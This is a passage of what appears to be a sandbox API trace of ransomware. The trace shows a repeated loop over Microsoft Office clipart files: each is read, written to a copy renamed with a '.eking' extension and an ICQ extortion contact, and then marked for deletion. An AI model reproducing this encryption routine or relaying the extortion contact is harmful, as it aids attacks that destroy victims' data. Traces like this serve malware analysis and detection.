0x3ac [0267.978] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0267.978] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0267.978] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x368 [0267.979] ReadFile (in: hFile=0x3ac, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x246a, lpOverlapped=0x0) returned 1 [0267.985] WriteFile (in: hFile=0x368, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x2470, lpOverlapped=0x0) returned 1 [0267.986] WriteFile (in: hFile=0x368, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0267.987] CloseHandle (hObject=0x3ac) returned 1 [0267.988] CloseHandle (hObject=0x368) returned 1 [0267.988] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid")) returned 0 [0267.988] SetEvent (hEvent=0x2b8) returned 1 [0267.989] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0267.990] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2262) returned 1 [0267.990] CloseHandle (hObject=0x368) returned 1 [0267.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf")) returned 0x220 [0267.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf")) returned 0x220 [0267.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0267.991] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0267.992] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0267.992] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0267.992] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3ac [0267.993] ReadFile (in: hFile=0x368, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x8d6, lpOverlapped=0x0) returned 1 [0268.013] WriteFile (in: hFile=0x3ac, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x8e0, lpOverlapped=0x0) returned 1 [0268.014] WriteFile (in: hFile=0x3ac, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0268.014] CloseHandle (hObject=0x368) returned 1 [0268.015] CloseHandle (hObject=0x3ac) returned 1 [0268.018] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf")) returned 0 [0268.018] SetEvent (hEvent=0x2b8) returned 1 [0268.019] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0268.175] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=5270) returned 1 [0268.175] CloseHandle (hObject=0x388) returned 1 [0268.175] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf")) returned 0x220 [0268.175] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf")) returned 0x220 [0268.175] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0268.176] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0268.176] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0268.176] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0268.176] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x368 [0268.177] ReadFile (in: hFile=0x388, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x1496, lpOverlapped=0x0) returned 1 [0268.180] WriteFile (in: hFile=0x368, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x14a0, lpOverlapped=0x0) returned 1 [0268.182] WriteFile (in: hFile=0x368, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0268.182] CloseHandle (hObject=0x388) returned 1 [0268.183] CloseHandle (hObject=0x368) returned 1 [0268.183] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf")) returned 0 [0268.184] SetEvent (hEvent=0x2b8) returned 1 [0268.184] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0268.185] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=49546) returned 1 [0268.185] CloseHandle (hObject=0x368) returned 1 [0268.185] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf")) returned 0x220 [0268.185] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf")) returned 0x220 [0268.186] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0268.186] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0268.186] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0268.186] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0268.186] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x388 [0268.188] ReadFile (in: hFile=0x368, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xc18a, lpOverlapped=0x0) returned 1 [0268.192] WriteFile (in: hFile=0x388, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xc190, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xc190, lpOverlapped=0x0) returned 1 [0268.194] WriteFile (in: hFile=0x388, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0268.194] CloseHandle (hObject=0x368) returned 1 [0268.195] CloseHandle (hObject=0x388) returned 1 [0268.513] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf")) returned 0 [0268.513] SetEvent (hEvent=0x2b8) returned 1 [0268.514] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0268.526] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=31122) returned 1 [0268.526] CloseHandle (hObject=0x368) returned 1 [0268.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf")) returned 0x220 [0268.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf")) returned 0x220 [0268.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0268.534] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0268.534] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0268.535] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0268.535] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x388 [0268.537] ReadFile (in: hFile=0x368, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x7992, lpOverlapped=0x0) returned 1 [0268.540] WriteFile (in: hFile=0x388, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x79a0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x79a0, lpOverlapped=0x0) returned 1 [0268.542] WriteFile (in: hFile=0x388, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0268.542] CloseHandle (hObject=0x368) returned 1 [0268.543] CloseHandle (hObject=0x388) returned 1 [0268.543] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf")) returned 0 [0268.543] SetEvent (hEvent=0x2b8) returned 1 [0268.543] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0268.546] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2690) returned 1 [0268.546] CloseHandle (hObject=0x388) returned 1 [0268.546] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf")) returned 0x220 [0268.546] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf")) returned 0x220 [0268.546] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0268.546] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0268.547] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0268.547] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0268.547] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x368 [0268.548] ReadFile (in: hFile=0x388, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xa82, lpOverlapped=0x0) returned 1 [0268.551] WriteFile (in: hFile=0x368, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xa90, lpOverlapped=0x0) returned 1 [0268.553] WriteFile (in: hFile=0x368, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0268.553] CloseHandle (hObject=0x388) returned 1 [0268.553] CloseHandle (hObject=0x368) returned 1 [0268.553] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf")) returned 0 [0268.554] SetEvent (hEvent=0x2b8) returned 1 [0268.554] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0268.555] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2832) returned 1 [0268.555] CloseHandle (hObject=0x368) returned 1 [0268.555] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf")) returned 0x220 [0268.555] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf")) returned 0x220 [0268.556] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0268.556] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0268.556] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0268.556] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0268.556] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x388 [0268.558] ReadFile (in: hFile=0x368, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xb10, lpOverlapped=0x0) returned 1 [0268.561] WriteFile (in: hFile=0x388, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xb20, lpOverlapped=0x0) returned 1 [0268.562] WriteFile (in: hFile=0x388, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0268.563] CloseHandle (hObject=0x368) returned 1 [0268.563] CloseHandle (hObject=0x388) returned 1 [0268.563] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf")) returned 0 [0268.563] SetEvent (hEvent=0x2b8) returned 1 [0268.564] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0268.565] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=37974) returned 1 [0268.565] CloseHandle (hObject=0x388) returned 1 [0268.565] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf")) returned 0x220 [0268.565] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf")) returned 0x220 [0268.565] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0268.565] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0268.567] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0268.567] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0268.567] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, 